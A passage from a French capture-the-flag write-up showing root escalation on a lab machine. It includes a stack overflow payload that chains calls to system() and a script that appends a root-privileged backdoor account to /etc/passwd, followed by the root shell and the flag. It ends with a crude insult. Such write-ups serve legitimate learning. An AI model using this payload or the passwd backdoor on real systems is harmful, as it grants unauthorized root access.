he110wor1d@singdancerap:~$ python -c 'print(b"\x13\x92\x04\x08"*9)' | thekey2root/thekey2root
input something:
Hey,bro! What are you looking for?
Segmentation fault

Donc, 9 fois permettent d’exécuter la fonction une seule fois.

Pour ce qui est de system je le vois à l’adresse 0x08049040 dans les imports Cutter.

Reste à trouver une chaîne de caractère à passer à system. On pourrait galérer à trouver un sh mais n’importe quoi fera l’affaire. Je trouve ;*2$\"0 à 0x0804a137 donc 0 à 0x0804a13c.

Je crée un script nommé 0 qui va ajouter un compte avec le mot de passe hello. Puis je passe les adresses pour chainer les différentes exécutions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
he110wor1d@singdancerap:~$ echo -e '#!/usr/bin/bash\necho devloop:ueqwOCnSGdsuM:0:0::/root:/bin/sh >> /etc/passwd\n' > 0
he110wor1d@singdancerap:~$ chmod 755 0
he110wor1d@singdancerap:~$ python -c 'print(b"\x13\x92\x04\x08"*9 + b"\x40\x90\x04\x08" + b"\x3c\xa1\x04\x08"*2 )' | PATH=.:$PATH thekey2root/thekey2root
input something:
Hey,bro! What are you looking for?
Segmentation fault
he110wor1d@singdancerap:~$ su devloop
Password: 
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
#During the process of PWN, the execution of the system function does not necessarily have to be bash.

root flag:943ac8c9-f696-11ef-8bd4-005056207011

Victoire les doigts dans ta soeur!

Cet article est sous licence CC BY 4.0 par l'auteur.